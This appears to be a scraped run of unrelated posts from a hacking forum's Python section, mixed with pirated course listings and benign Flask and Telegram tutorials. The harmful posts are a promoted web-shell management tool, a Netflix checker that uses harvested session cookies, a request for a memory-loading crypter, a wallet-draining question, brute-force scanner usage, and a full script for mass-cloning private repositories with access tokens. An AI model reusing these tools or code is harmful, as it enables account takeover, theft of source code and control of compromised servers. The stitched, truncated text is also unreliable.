This was all written by GPT just for fun of course since the chances of actually finding anything are a needle in a haystack. I wish you the best of luck if you do try and remember if you win the ETH lottery to donate to the forums!
ZeroShell Manager is a tool designed to help users manage their web shells through a user-friendly graphical interface built with Tkinter. With its simple UI, it offers both light and dark modes for users preferences. While this is the first version, great care has been taken in testing to minimize bugs.
Full Screen
[![Full
Screen](/proxy.php?image=https%3A%2F%2Fraw.githubusercontent.com%2Fdrcrypterdotru%2FZeroShell-
Manager%2Frefs%2Fheads%2Fmain%2FScreenshot%2Flight_mode.png&hash=f677a90d4c50e34cfb370e8d6fe7be19)](https://raw.githubusercontent.com/drcrypterdotru/ZeroShell-
Manager/refs/heads/main/Screenshot/light_mode.png)
Small Screen
[![Small
Screen](/proxy.php?image=https%3A%2F%2Fraw.githubusercontent.com%2Fdrcrypterdotru%2FZeroShell-
Manager%2Frefs%2Fheads%2Fmain%2FScreenshot%2Fsmall.png&hash=4df21c6fddbded6b6f96502483d71b0f)](https://raw.githubusercontent.com/drcrypterdotru/ZeroShell-
Manager/refs/heads/main/Screenshot/small.png)
Change Name Shell &PWD
[![Change
Name&PWD](/proxy.php?image=https%3A%2F%2Fraw.githubusercontent.com%2Fdrcrypterdotru%2FZeroShell-
Manager%2Frefs%2Fheads%2Fmain%2FScreenshot%2Fchangename_pwd.png&hash=d5baadd6f291fad7bf5bea350550680c)](https://raw.githubusercontent.com/drcrypterdotru/ZeroShell-
Manager/refs/heads/main/Screenshot/changename_pwd.png)
Dark Mode
[![Dark
Mode](/proxy.php?image=https%3A%2F%2Fraw.githubusercontent.com%2Fdrcrypterdotru%2FZeroShell-
Manager%2Frefs%2Fheads%2Fmain%2FScreenshot%2Fdark_mode.png&hash=de2425ed8e89498cc12c1c6a9f088792)](https://raw.githubusercontent.com/drcrypterdotru/ZeroShell-
Manager/refs/heads/main/Screenshot/dark_mode.png)
Light Mode
[![Light
Mode](/proxy.php?image=https%3A%2F%2Fraw.githubusercontent.com%2Fdrcrypterdotru%2FZeroShell-
Manager%2Frefs%2Fheads%2Fmain%2FScreenshot%2Flight_mode.png&hash=f677a90d4c50e34cfb370e8d6fe7be19)](https://raw.githubusercontent.com/drcrypterdotru/ZeroShell-
Manager/refs/heads/main/Screenshot/light_mode.png)
Features
Add URL to Panel & Add Mass
Easily add individual or multiple URLs to the panel for management.
Delete & Clear All Web Shells from Panel
Quickly delete or clear all web shells from the management panel in one click.
Shell Manager
Manage web shells efficiently with a variety of options:
Browser Shell: Interact with your web shells through a convenient browser
interface.
Check Shell: Verify the status and availability of your shells.
Mass Shell Operations: Execute bulk actions on multiple shells at once.
File Upload: Upload files directly to the shell.
Rename & Change Password: Easily rename shells and update passwords.
Destroy: Permanently remove shells with a secure deletion process.
Upload File via error_log.php None obfuscator or choose strong protect with err_Obf another wish you can obfuscator your personal than upload to make strong Undetected in server.
Add URLs or mass input URLs into the Panel with
Example : localhost.com/error_log.php?whoami=@1337
(whoami= is default and 1337 is password of shell will be
change in later or your own in error_log.php)
Browse, check, upload files, or manage the shells as needed using the Shell Manager options.
Use the "Destroy" option to remove shells from your server when no longer needed.
Video Usage:
You must have at least 1 reaction(s) to view the content.
You must have at least 1 reaction(s) to view the content.
Чтобы создать Telegram-бота, который будет генерировать ссылки на загруженные файлы с нужным вам форматом, нужно сделать следующее:
Убедитесь, что у вас установлены Python и необходимые библиотеки:
Python:Copy to clipboard
pip install pyTelegramBotAPI flask
Вот пример кода бота, который будет принимать файл, сохранять его и генерировать ссылку с форматом header=video.mp4:
Python:Copy to clipboard
import telebot
from flask import Flask, request, send_from_directory
import os
import requests
API_TOKEN = 'YOUR_TELEGRAM_BOT_API_TOKEN'
SERVER_URL = 'https://your-domain.com' # Замените на ваш домен или IP
DOWNLOAD_DIR = 'downloads'
bot = telebot.TeleBot(API_TOKEN)
app = Flask(__name__)
# Создаем директорию для хранения файлов
if not os.path.exists(DOWNLOAD_DIR):
os.makedirs(DOWNLOAD_DIR)
@bot.message_handler(content_types=['video'])
def handle_docs_video(message):
# Получаем file_id и сохраняем файл
file_info = bot.get_file(message.video.file_id)
file = requests.get(f'https://api.telegram.org/file/bot{API_TOKEN}/{file_info.file_path}')
file_name = message.video.file_name or f"{message.video.file_id}.mp4"
file_path = os.path.join(DOWNLOAD_DIR, file_name)
with open(file_path, 'wb') as f:
f.write(file.content)
# Генерируем ссылку на файл
file_link = f"{SERVER_URL}/api/tg/file?id={message.video.file_id}&name={file_name}&header=video.mp4"
bot.send_message(message.chat.id, f"Your file is uploaded: {file_link}")
@app.route('/api/tg/file', methods=['GET'])
def download_file():
file_id = request.args.get('id')
file_name = request.args.get('name')
# Проверяем наличие файла
if os.path.exists(os.path.join(DOWNLOAD_DIR, file_name)):
return send_from_directory(DOWNLOAD_DIR, file_name, as_attachment=True)
else:
return "File not found", 404
if __name__ == '__main__':
bot.polling(none_stop=True)
app.run(host='0.0.0.0', port=5000)
Python:Copy to clipboard
python bot.py
Этот бот будет получать видеофайлы, сохранять их на сервере и генерировать ссылки с нужным форматомheader=video.mp4. Вы можете кастомизировать бота под свои нужды, например, добавив поддержку других типов файлов или изменив логику обработки.
Python: Искусственный интеллект, большие данные и облачные вычисления
Год издания: 2020
Автор: Дейтел Пол, Дейтел Харви
Издательство: Питер
ISBN: 978-5-4461-1432-0
Язык: Русский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Количество страниц: 864
Download
Профессия Python-разработчик. Часть 2 из 8 (2020)
Автор: Яндекс.Практикум
Название: Python-разработчик. Часть 2 из 8 (2020)
Описание:
Python-разработчик создаёт бэкенд сайтов: мозг, который принимает запросы,
общается с базой данных и передаёт нужную информацию пользователю. Разработчик
проектирует алгоритмы взаимодействия сайта с другими интернет-сервисами. Вы
изучите язык Python: он востребован и прост. Вы также освоите важнейшие
инструменты бэкендера: Django, базы данных, git. В процессе обучения создадите
несколько действующих сервисов.
Что вы получите в Практикуме:
За 9 месяцев обучения по 10 часов в неделю вы освоите навыки разработки на
Python, соберёте портфолио.
Вот над какими проектами вам предстоит трудиться:
- Социальная сеть
Вы научитесь взаимодействовать с базами данных, формировать ленту публикаций.
Реализуете возможность регистрироваться и входить на сайт под своим аккаунтом
и публиковать записи. Вы погрузитесь в бэкенд сервиса, оставив отрисовку
интерфейса в стороне: ей пусть занимается фронтенд-разработчик.
- Бот-ассистент
Напишете веб-приложение, которое будет самостоятельно собирать данные в
интернете, а затем — уведомлять о них пользователя.
- Онлайн-турнир по го, шашкам или реверси
Познакомитесь с алгоритмами и структурами данных: это позволит создавать
быстрые и отзывчивые сервисы. Тут процесс разработки максимально приблизится к
реальному: над этим проектом вы будете работать в команде программистов.
Программа обучения:
- Основы Python: Бесплатный вводный курс (20 часов)
Базовое устройство бэкенда. Вы узнаете, как фронтенд общается с бэкендом и как
разные бэкенды общаются между собой. Научитесь писать программы на языке
Python, получать информацию от сервисов в интернете и использовать в своём
коде.
- Возможности бэкенда: блог (80 часов)
Вас ждут основы баз данных, ликбез по информационной безопасности, продолжение
работы с Python и знакомство с веб-фреймворком Django. На этом этапе вы шаг за
шагом создадите свой блог — с авторизацией пользователей, объявлениями и
подписками.
- Работа с внешними API (30 часов)
Вы узнаете, как сервисы в интернете получают друг от друга информацию: как
организуется авторизация на незнакомом ресурсе через социальные сети, каким
образом сайты кинотеатров и кафе указывают свои локации на фрагменте Яндекс и
Гугл карт. Узнаете что такое API и напишете бота, который сам взаимодействует
с известными сайтами.
- Заботимся о производительности сервиса (60 часов)
Бывало такое, что нужный вам сайт в интернете работал медленно? Мы будем
говорить, как ускорить работу вашего сервиса. Вы изучите основы алгоритмов:
они необходимы, чтобы оценить скорость выполнения программ.
- Инфраструктура бэкенд-разработки (80 часов)
При создании серьёзных сервисов необходима экосистема для совместной работы
нескольких программистов. Вы научитесь настраивать своё рабочее окружение так,
чтобы взаимодействие с другими программистами было простым и эффективным.
Научитесь работать с системой контроля версий Git, разрешать конфликты в коде.
При поддержке наставников желающие смогут создать очередной проект в команде.
- Дипломный проект (50 часов)
В заключительный месяц обучения вы сделаете итоговый выпускной проект,
подтверждающий знания и умения. Во время работы над ним вам не нужно выполнять
домашние задания и узнавать новую теорию из тренажёра — здесь всё происходит
так же, как в реальной жизни: задание, сроки, приобретенные навыки и
поисковик.
Скачать:
Hidden content for authorized users.
Облако Mail.ru - это ваше персональное надежное хранилище в интернете.
cloud.mail.ru
Вроде, неплохо пишу код (субъективно) и хочу узнать у Вас, что должен знать и
уметь хороший разработчик ? Конечно, же правильное написание кода, способы
написания кода(ООП), а еще что можно добавить?
Хочется изучить дополнительные вещи, которые бы внесли пользу в моем
дальнейшем пути. Было написаны множество чекеров, парсеров, гуи
Больше ответа хочется услышать в техническом плане, а коммуникация, терпимость к заказчикам это и так понятно. Якобы "python не для начинающих" или книги
Какие знаменитые self host веб приложения в питон вы знаете?
Hi, i am right now working on a crypter.
I wanna know how i can load a exe directly into the memory.
So for example the script loads the exe bytes from a url and then executes it
without saving it.
Can someone help me??
Приветствую всех. Кто мог бы помочь с созданием бота клекера как ноткоин?
i Don't Finsh From Code
video :
Code :
Code:Copy to clipboard
import re
import pprint
import requests
from bs4 import BeautifulSoup
def CookiesFile(cookiefile):
cookies = {}
with open (cookiefile, 'r') as fp:
for line in fp:
if not re.match(r'^\#', line):
lines = line.strip().split('\t')
cookies[lines[5]] = lines[6]
return cookies
cookies = CookiesFile('cookies.txt')
r = requests.get('https://www.netflix.com/YourAccount', cookies=cookies).text
print('-'*100)
profile = requests.get('https://www.netflix.com/YourAccount', cookies=cookies)
get_mail=BeautifulSoup(profile.content,'html.parser')
mail = get_mail.find("div", {"class": "account-section-item account-section-email"}).get_text()
get_plan=BeautifulSoup(profile.content,'html.parser')
plan = get_plan.find("div", {"data-uia": "plan-label"}).get_text()
get_numberPhone=BeautifulSoup(profile.content,'html.parser')
NumberPhone = get_numberPhone.find("div", {"data-uia": "account-phone"}).get_text()
get_billingDate=BeautifulSoup(profile.content,'html.parser')
date = get_billingDate.find("div", {"data-uia": "nextBillingDate-item"}).get_text()
get_profiles=BeautifulSoup(profile.content,'html.parser')
profiles = get_profiles.find_all("div", {"class":"profile-summary"})
if 'account-section-email' in r or 'https://www.netflix.com/profiles/manage' in r:
print(f'[______________{date}_____________]')
print(f'E-mail > {mail}')
print(f'Phone Number > {NumberPhone}')
print(f"Plan Details > {plan}")
print(f'[______________Profiles_____________]')
print(f'> {profiles}')
else:
print(False)
Профессия Python-разработчик. Часть 3 из 8 (2020)
Автор: Яндекс.Практикум
Название: Python-разработчик. Часть 3 из 8 (2020)
Описание:
Python-разработчик создаёт бэкенд сайтов: мозг, который принимает запросы,
общается с базой данных и передаёт нужную информацию пользователю. Разработчик
проектирует алгоритмы взаимодействия сайта с другими интернет-сервисами. Вы
изучите язык Python: он востребован и прост. Вы также освоите важнейшие
инструменты бэкендера: Django, базы данных, git. В процессе обучения создадите
несколько действующих сервисов.
Что вы получите в Практикуме:
За 9 месяцев обучения по 10 часов в неделю вы освоите навыки разработки на
Python, соберёте портфолио.
Вот над какими проектами вам предстоит трудиться:
- Социальная сеть
Вы научитесь взаимодействовать с базами данных, формировать ленту публикаций.
Реализуете возможность регистрироваться и входить на сайт под своим аккаунтом
и публиковать записи. Вы погрузитесь в бэкенд сервиса, оставив отрисовку
интерфейса в стороне: ей пусть занимается фронтенд-разработчик.
- Бот-ассистент
Напишете веб-приложение, которое будет самостоятельно собирать данные в
интернете, а затем — уведомлять о них пользователя.
- Онлайн-турнир по го, шашкам или реверси
Познакомитесь с алгоритмами и структурами данных: это позволит создавать
быстрые и отзывчивые сервисы. Тут процесс разработки максимально приблизится к
реальному: над этим проектом вы будете работать в команде программистов.
Программа обучения:
- Основы Python: Бесплатный вводный курс (20 часов)
Базовое устройство бэкенда. Вы узнаете, как фронтенд общается с бэкендом и как
разные бэкенды общаются между собой. Научитесь писать программы на языке
Python, получать информацию от сервисов в интернете и использовать в своём
коде.
- Возможности бэкенда: блог (80 часов)
Вас ждут основы баз данных, ликбез по информационной безопасности, продолжение
работы с Python и знакомство с веб-фреймворком Django. На этом этапе вы шаг за
шагом создадите свой блог — с авторизацией пользователей, объявлениями и
подписками.
- Работа с внешними API (30 часов)
Вы узнаете, как сервисы в интернете получают друг от друга информацию: как
организуется авторизация на незнакомом ресурсе через социальные сети, каким
образом сайты кинотеатров и кафе указывают свои локации на фрагменте Яндекс и
Гугл карт. Узнаете что такое API и напишете бота, который сам взаимодействует
с известными сайтами.
- Заботимся о производительности сервиса (60 часов)
Бывало такое, что нужный вам сайт в интернете работал медленно? Мы будем
говорить, как ускорить работу вашего сервиса. Вы изучите основы алгоритмов:
они необходимы, чтобы оценить скорость выполнения программ.
- Инфраструктура бэкенд-разработки (80 часов)
При создании серьёзных сервисов необходима экосистема для совместной работы
нескольких программистов. Вы научитесь настраивать своё рабочее окружение так,
чтобы взаимодействие с другими программистами было простым и эффективным.
Научитесь работать с системой контроля версий Git, разрешать конфликты в коде.
При поддержке наставников желающие смогут создать очередной проект в команде.
- Дипломный проект (50 часов)
В заключительный месяц обучения вы сделаете итоговый выпускной проект,
подтверждающий знания и умения. Во время работы над ним вам не нужно выполнять
домашние задания и узнавать новую теорию из тренажёра — здесь всё происходит
так же, как в реальной жизни: задание, сроки, приобретенные навыки и
поисковик.
**Скачать:
Hidden content for authorized users.
Облако Mail.ru - это ваше персональное надежное хранилище в интернете.
cloud.mail.ru
**
Подскажите, как отправлять все монеты с одного кошелька на другой?
Пару вариантов кода нашел, но ничего не работает...
Последний который я пробовал:
Python:Copy to clipboard
def send_usdt(from_wallet, from_private_key, to_wallet, amount):
try:
tron = Tron(network='mainnet')
tron.private_key = from_private_key
tron.default_address = from_wallet
usdt_contract = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'
contract = tron.get_contract(usdt_contract)
txn = (
contract.functions.transfer(
to_wallet,
int(amount * 10**6)
)
.with_owner(from_wallet)
.build()
.sign()
)
result = txn.broadcast().wait()
print(f"Transaction result: {result}")
return result
except Exception as e:
print(f"Error in send_usdt: {e}")
return {'result': 'error'}
Специализируюсь на:
Вам бесплатная и быстрая помощь с решением какой-либо проблемы, а мне опыт и
отзывы
Моё портфолио: https://github.com/aleiiin/python_parsers/tree/master
Быстрее всего отвечу в телеграме (@bataur)
Python. Непрерывная интеграция и доставка
Описание:
Язык Python используется во многих областях – веб-разработке, науке о данных и машинном обучении, интернете вещей (IoT), автоматизации систем. Морис Ленц, блогер, архитектор программного обеспечения с большим опытом работы, досконально рассматривает возможности Python, упрощающие и повышающие эффективность разработки ПО. В книге представлены различные виды тестирования; показано, как настроить автоматизированные системы, которые выполняют эти тесты, и устанавливать приложения в различных средах контролируемым способом. Представленный материал позволит разработчику успешно решать технические проблемы, которые обычно скрываются в программном коде. Издание предназначено для технических специалистов, занимающихся доставкой программного обеспечения: разработчиков, архитекторов, инженеров по релизу и DevOps-специалистов.
Оглавление:
Глава 1. Автоматическое тестирование
Глава 2. Модульное тестирование в Python
Глава 3. Непрерывная интеграция с Jenkins
Глава 4. Непрерывная доставка
Глава 5. Сборка пакетов
Глава 6. Распространение пакетов Debian
Глава 7. Развертывание пакетов
Глава 8. Виртуальная площадка
Глава 9. Сборка в конвейере с помощью
Глава 10. Распространение и развертывание пакетов в конвейере
Глава 11. Улучшаем конвейер
Глава 12. Безопасность
Глава 13. Управление состояниями
Глава 14. Выводы и перспективы
You must have at least 5 reaction(s) to view the content.
I need figure it out how to minify a 13GB txt file and transform him in json.
Any thoughts?
usage: cmsmap [-f W/J/D] [-F] [-t] [-a] [-H] [-i] [-o] [-E] [-d] [-u] [-p]
[-x] [-k] [-w] [-v] [-h] [-D] [-U W/J/D]
[target]CMSmap tool v1.0 - Simple CMS Scanner
Author: Mike ManzottiScan:
target target URL (e.g. 'https://example.com:8080/')
-f W/J/D, --force W/J/D
force scan (W)ordpress, (J)oomla or (D)rupal
-F, --fullscan full scan using large plugin lists. False positives and slow!
-t , --threads number of threads (Default 5)
-a , --agent set custom user-agent
-H , --header add custom header (e.g. 'Authorization: Basic ABCD...')
-i , --input scan multiple targets listed in a given file
-o , --output save output in a file
-E, --noedb enumerate plugins without searching exploits
-c, --nocleanurls disable clean urls for Drupal only
-s, --nosslcheck don't validate the server's certificate
-d, --dictattack run low intense dictionary attack during scanning (5 attempts per user)Brute-Force:
-u , --usr username or username file
-p , --psw password or password file
-x, --noxmlrpc brute forcing WordPress without XML-RPCPost Exploitation:
-k , --crack password hashes file (Require hashcat installed. For WordPress and Joomla only)
-w , --wordlist wordlist fileOthers:
-v, --verbose verbose mode (Default false)
-h, --help show this help message and exit
-D, --default rum CMSmap with default options
-U, --update use (C)MSmap, (P)lugins or (PC) for bothExamples:
cmsmap.py https://example.com
cmsmap.py https://example.com -f W -F --noedb -d
cmsmap.py https://example.com -i targets.txt -o output.txt
cmsmap.py https://example.com -u admin -p passwords.txt
cmsmap.py -k hashes.txt -w passwords.txtClick to expand...
Installation
You can download the latest version of CMSmap by cloning the GitHub repository:
git clone https://github.com/Dionach/CMSmap
Then you need to configure the edbtype and edbpath settings in the cmsmap.conf. Use GIT if you have a local Git repository of Exploit-db :
[exploitdb]
edbtype = GIT
edbpath = /opt/exploitdb/Alternatively, use APT if you have installed the debian exploitdb package. For Kali, use the following settings :
[exploitdb]
edbtype = APT
edbpath = /usr/share/exploitdb/If you would like to run cmsmap from anywhere in your system you can install it with pip3 :
cd CMSmap
pip3 install .To uninstall it :
pip3 uninstall cmsmap -y
Click to expand...
Всем привет. Подкиньте пожалуйста идей по тематике ботов в тг. Заранее спасибо
Всем привет. Иногда интересно посмотреть что происходит в глубинах сети TOR, в этом нам поможет скрипт ниже. В переменную yourquery вписываете ваш поисковый запрос, обратно получаете все найденные линки.
Spoiler: Скриншот .txt
Устанавливаем: pip install requests
scraper.py:
You must have at least 20 reaction(s) to view the content.
Если на системе нет питона, то можно встроить питон в исполняемый файл c# затем рефлексивно запустить код питона
can be used reflectively to run python code on systems without Python installed ](https://github.com/checkymander/Zolom)
C# Executable with embedded Python that can be used reflectively to run python code on systems without Python installed - checkymander/Zolom
github.com
ахахаххаха
Писал для себя, функции затирания и т.д убрал. Кому нужно сделают себе)
Просто сдампить гит:
pgit --token=ghp_KEYKEYKEYKEYKEY --project=SomeProject
Сдампить gitlab:
pgit --token=KEYKEYKEYKEYKEY --project=SomeProject --domain=gitlab.evil.corp
Сдампить Github Enterprise:
pgit --token=ghp_KEYKEYKEYKEYKEY --project=SomeProject --domain=github.evil.corp --enterprise=True
По факту вместо True что угодно)
Python:Copy to clipboard
from os import makedirs, rmdir, system, listdir
from os.path import exists
from sys import argv
from requests import get as GETReq
class GitDump:
def __init__(
self, token: str, project: str, search: str, user: str, domain: str,
enterprise: bool = False
) -> None:
assert token, "You not provided the token"
assert project, "Expected project dir name"
assert (enterprise and domain != 'api.github.com') or \
(not enterprise and domain), "If it's Enterprise set domain"
self.already_done = []
self.save_path: str = project
self.search: list = search.split(',')
self.url: str = domain
self.params = {
'page': 0,
'per_page': '100'
}
if token.startswith('ghp_') or token.startswith('gho_'):
print('[+] GitHub detected')
self.path = '/user/repos' if not enterprise else '/api/v3/'
self.params.update({
'type': 'private',
'sort': 'updated'
})
self.headers = {
'Authorization': f'token {token}'
}
self.variables = {
'must_be_in_aswer': 'full_name',
'repo_name_in': 'full_name'
}
if enterprise:
self.params['type'] = 'all'
self.params.pop('type')
else:
domain = 'github.com'
else: # gitlab
print('[+] Gitlab detecteds')
self.path = '/api/v4/projects'
self.headers = {
'PRIVATE-TOKEN': token
}
self.variables = {
'must_be_in_aswer': 'web_url',
'repo_name_in': 'path_with_namespace'
}
self.git_cmd = f"git clone https://{user}:{token}@{domain}//NAME NAME2" # noqa
def __search_check(self) -> bool:
for allowed in self.search:
if allowed in pname:
return True
return False
def __executor(self, answer: list) -> None:
for repo in answer:
if not isinstance(repo, dict) or \
not repo.get(self.variables['must_be_in_aswer'], None):
continue
name = str(repo.get(
self.variables['repo_name_in'], ''
)).encode('utf-8', 'ignore').strip().decode()
if not name or name in self.already_done:
continue
self.already_done.append(name)
path = f"./{self.save_path}/{name}"
*fpath, pname = path.split('/')
if self.search != [''] and not self.__search_check():
continue
if exists(path+'/.git'):
print('[!] We already have:', path)
system(f'cd {path} && git reset --hard && git pull')
continue
elif exists(path):
if len(listdir(path)) <= 0:
rmdir(path)
elif not exists(path):
makedirs('/'.join(fpath), exist_ok=True)
print('[+] Downloading:', path)
system(
self.git_cmd
.replace('/NAME', name)
.replace('NAME2', path)
)
def dump_enterprise(self) -> None:
orgs_list = []
since = 0
print('[!] Parsing orgs...')
while True:
orgs_ids = []
try:
orgs = GETReq(
f'https://{self.url}{self.path}organizations',
params={'since': since}, headers=self.headers
).json()
if not isinstance(orgs, list):
break
elif not orgs or orgs == []:
break
for org in orgs:
orgs_list.append(org.get('login', ''))
orgs_ids.append(int(org.get('id', 1)))
since = max(orgs_ids)
except Exception:
pass
print(f'[+] Orgs parsed! Total: {len(orgs_list)}; List: {orgs_list}')
for org in orgs_list:
self.params['page'] = 0
print('[+] Dumping org:', org)
while True:
try:
answer = GETReq(
f'https://{self.url}{self.path}orgs/{org}/repos',
params=self.params, headers=self.headers
).json()
if not isinstance(answer, list) or answer == []:
print('[!] Empty resp; Maybe done?')
break
print('[!] Page:', self.params['page'])
self.__executor(answer)
self.params['page'] += 1
except Exception as e:
print('Error:', e)
def dump_usual(self) -> None:
while True:
try:
answer = GETReq(
f'https://{self.url}{self.path}',
params=self.params, headers=self.headers
).json()
except Exception as e:
print('[?] Error when fetch:', e)
break
if not isinstance(answer, list) or answer == []:
print('[+] Nothing in answer. Stop...')
break
print('[!] Page:', self.params['page'])
self.params['page'] += 1
self.__executor(answer)
def clean_arg(arg: str, split_value: str) -> str:
arg = arg.split(f'--{split_value}=', 1)[1]
if arg.startswith('"') and arg.endswith('"'):
arg = arg[1:-1]
return arg
def main() -> None:
if len(argv) < 3 or len(argv) > 6:
print(
'python3 main.py\\\n' +
' --token="ghp_/shja- (required)"\\\n' +
' --project="Project Name (required)"\\\n' +
' --domain="ex. git.evil.company (for Git(lab/hub) Enterprise)"\\\n' +
' --user="custom user (default: oauth2)"\\\n' +
' --search="infra,prod" (dump if keyword in repo name)\\\n' +
' --enterprise=True (just flag for Github Enterprise)'
)
exit(0)
params = {
'token': None,
'project': None,
'user': 'oauth2',
'domain': 'api.github.com',
'search': '',
'enterprise': False
}
for arg in argv:
for key in params.keys():
if arg.startswith(f'--{key}', None):
params[key] = clean_arg(arg, key)
break
git = GitDump(**params)
git.dump_enterprise() if params['enterprise'] else git.dump_usual()
if __name__ == "__main__":
main()
==== UPD Sep 26: подправил работу с Enterprise; оптимизация
Чему вы научитесь
Требования
Описание
Курс охватывает все основные темы Python (включая объектно-ориентированное
программирование, веб-парсинг и даже разработку графического интерфейса) и
теперь включает еще больше контента ...!
Управляйте своим браузером с помощью Selenium, очищайте веб-сайты или даже
заполняйте формы!
Научитесь взаимодействовать с REST API и создайте программу обмена валют
Создавайте графические интерфейсы рабочего стола с помощью Tkinter, чтобы ваши
пользователи могли легко работать с вашими приложениями.
Начните работать с модульным тестированием в Python, узнав о библиотеке
unittest
Мы также полностью переписали вводный материал курса по Python ... так что он
стал еще яснее и понятнее!
Этот курс легко и эффективно превратит вас из новичка в эксперта по Python. Мы
сделали каждую часть контента лаконичной и простой, чтобы вы не запутались.
Этот курс позволит вам погрузиться в Python и с самого начала поможет вам
продуктивно работать.
**
Зачем изучать Python?**
За последние несколько лет Python становится все более популярным. Спрос на
Python на рынке труда стремительно растет, и это навык, который может помочь
вам войти в некоторые из самых интересных отраслей, включая науку о данных,
веб-приложения, домашнюю автоматизацию и многие другие. Согласно недавним
отраслевым опросам, Python является одним из «самых любимых» и «самых
востребованных» языков программирования. Если люди еще не используют Python,
они хотят начать использовать Python.
Этот курс поможет вам изучить Python и опередить своих конкурентов.
Для кого этот курс:
You must have at least 10 reaction(s) to view the content.
В данной статье я планирую написать облако файлов с веб-интерфейсом и шифрованием файлов. Это достаточно несложно, так что уровень познания не нужен самый большой, думаю, и новички поймут.Облако будет написано полностью на Python с использованием Flask.Шифрование я планирую осуществлять с помощью AES. Мне кажется, что это нормальный метод, но если есть варианты получше, буду рад прочитать ваши предложения в комментариях.Каков будет функционал?
Для чего может пригодиться данный опыт написания облака с шифрованием файлов?
С основной информацией о том, что нам предстоит изучить и написать в данной
статье, мы разобрались, теперь приступим к написанию самого облака.Первым
делом создадим проект. IDE я, как обычно, буду использовать PyCharm. А версию
Python я выбрал 3.11.Показывать, как создавать проект, я не собираюсь, так как
уже показывал это в предыдущих статьях. Но все же уточню, что желательно
использовать виртуальную среду, созданную прямо в папке проекта.Для этого в
правом нижнем углу PyCharm нажимаем туда, куда указано на скриншоте.
В появившемся окне выбираем путь, где у вас находится Python, и путь до проекта, где будет создана виртуальная среда разработки (venv).
После настройки виртуальной среды можно начать писать код. Сначала напишем основу веб-сервера Flask для нашей будущей панели. Для этого нам необходимо скачать и установить библиотеку Flask. Это делается введением команды в терминале PyCharm: pip install flask.
Теперь в основном файле Python проекта вызываем скачанную библиотеку Flask:
Python:Copy to clipboard
from flask import Flask, render_template
Эта строка отвечает за создание объекта приложения Flask:
Python:Copy to clipboard
app = Flask(__name__)
Этот код определяет страницу, которая будет открываться при вводе ссылки на ваш сайт без упоминания какой-либо конкретной страницы на нем, то есть это будет страница, открывающаяся по умолчанию.
Python:Copy to clipboard
@app.route('/')
def index():
# Возвращаем HTML страницу, используя шаблон lists.html
return render_template('lists.html')
Этот код отвечает за запуск Flask сервера и также обозначает, что страница Python является основной в нашем приложении. Если у нас будут еще дополнительные файлы Python, то запускать мы будем именно этот код, а остальные файлы будут подтягиваться благодаря вызову функций в основном файле.
Python:Copy to clipboard
if __name__ == '__main__':
# Запускаем сервер Flask
app.run(debug=True)
Теперь нам нужно создать HTML страницу, которая будет открываться. Ее название мы уже указали в Python файле, а именно: lists.html.Для начала нам нужно создать папку templates. Почему нам нужно называть папку именно так и зачем нам вообще папка, я рассказывал в прошлых статьях. Но если кратко - это стандартный путь, который прописан в Flask для поиска HTML файлов.Вот сам код пока что пустой страницы:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Список</title>
</head>
<body>
</body>
</html>
Эта строка обозначает язык страницы, это нужно, как минимум, для того чтобы браузер корректно предлагал автоперевод.
HTML:Copy to clipboard
<html lang="ru">
В этой строке указывается название страницы, которое будет отображаться не вкладке в браузере.
HTML:Copy to clipboard
<title>Список</title>
А внутри этого кода будут написаны все основные объекты на странице. В принципе, весь HTML код нужно писать именно внутри этого кода.
HTML:Copy to clipboard
<body>
</body>
Что ж, базу всех баз мы разобрали. Теперь нужно запустить сервер Flask, а
именно наш Python файл, я назвал его main.py. Если все правильно и без ошибок,
то вы должны будете увидеть такую вот картину в консоли:
Перейдя по указанной в консоли ссылке, вы попадете на нашу страницу. Она будет
пустой и без каких-либо стилей. Теперь я бы хотел написать создание базы
данных при запуске нашего Flask сервера.
Что такое база данных?
Реляционная база данных (SQL) это база, которая будет хранить конкретные
данные, которые мы назначим в виде структурированной таблицы. База данных
будет использовать SQLite.
В таблице будут такие столбцы:
Мы выяснили, что такое база данных, и разобрали ее будущую структуру. Теперь
приступим к реализации.
Для начала нам потребуется установить библиотеку Flask-SQLAlchemy и вызвать ее
в нашем Python файле.
Python:Copy to clipboard
from flask_sqlalchemy import SQLAlchemy
Теперь укажем путь к базе данных:
Python:Copy to clipboard
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data.db'
Создадим объект базы данных (точно так же мы делали с объектом Flask):
Python:Copy to clipboard
db = SQLAlchemy(app)
Теперь определим ее структуру, а именно столбцы id, filename, data, iv.
Python:Copy to clipboard
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(100), nullable=False)
data = db.Column(db.LargeBinary, nullable=False)
iv = db.Column(db.LargeBinary, nullable=False)
А теперь создаем базу данных:
Python:Copy to clipboard
db.create_all()
Я специально показал путь создания базы данных по пунктам, чтобы вы могли легко применить это в других проектах, но если вам не хочется вникать, то вот полный код нашего получившегося файла main.py:
Python:Copy to clipboard
from flask import Flask, render_template
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data.db'
db = SQLAlchemy(app)
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(100), nullable=False)
data = db.Column(db.LargeBinary, nullable=False)
iv = db.Column(db.LargeBinary, nullable=False)
@app.route('/')
def index():
return render_template('lists.html')
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(debug=True)
При запуске приложения у вас создастся папка instance (дефолтный путь к базе
данных), а в ней уже будет наша база данных.
Теперь приступим к написанию функционала для загрузки файла и его шифрования через AES перед записью в базу данных. Для начала обновим наш python файл:
Python:Copy to clipboard
import io
from flask import Flask, render_template, request, send_file, make_response, jsonify
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data.db'
db = SQLAlchemy(app)
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(100), nullable=False)
data = db.Column(db.LargeBinary, nullable=False)
iv = db.Column(db.LargeBinary, nullable=False)
def encrypt_file(input_file, key):
cipher = AES.new(key, AES.MODE_CBC)
plaintext = input_file.read()
ciphertext = cipher.encrypt(plaintext)
return cipher.iv, ciphertext
def decrypt_file(data, key, iv):
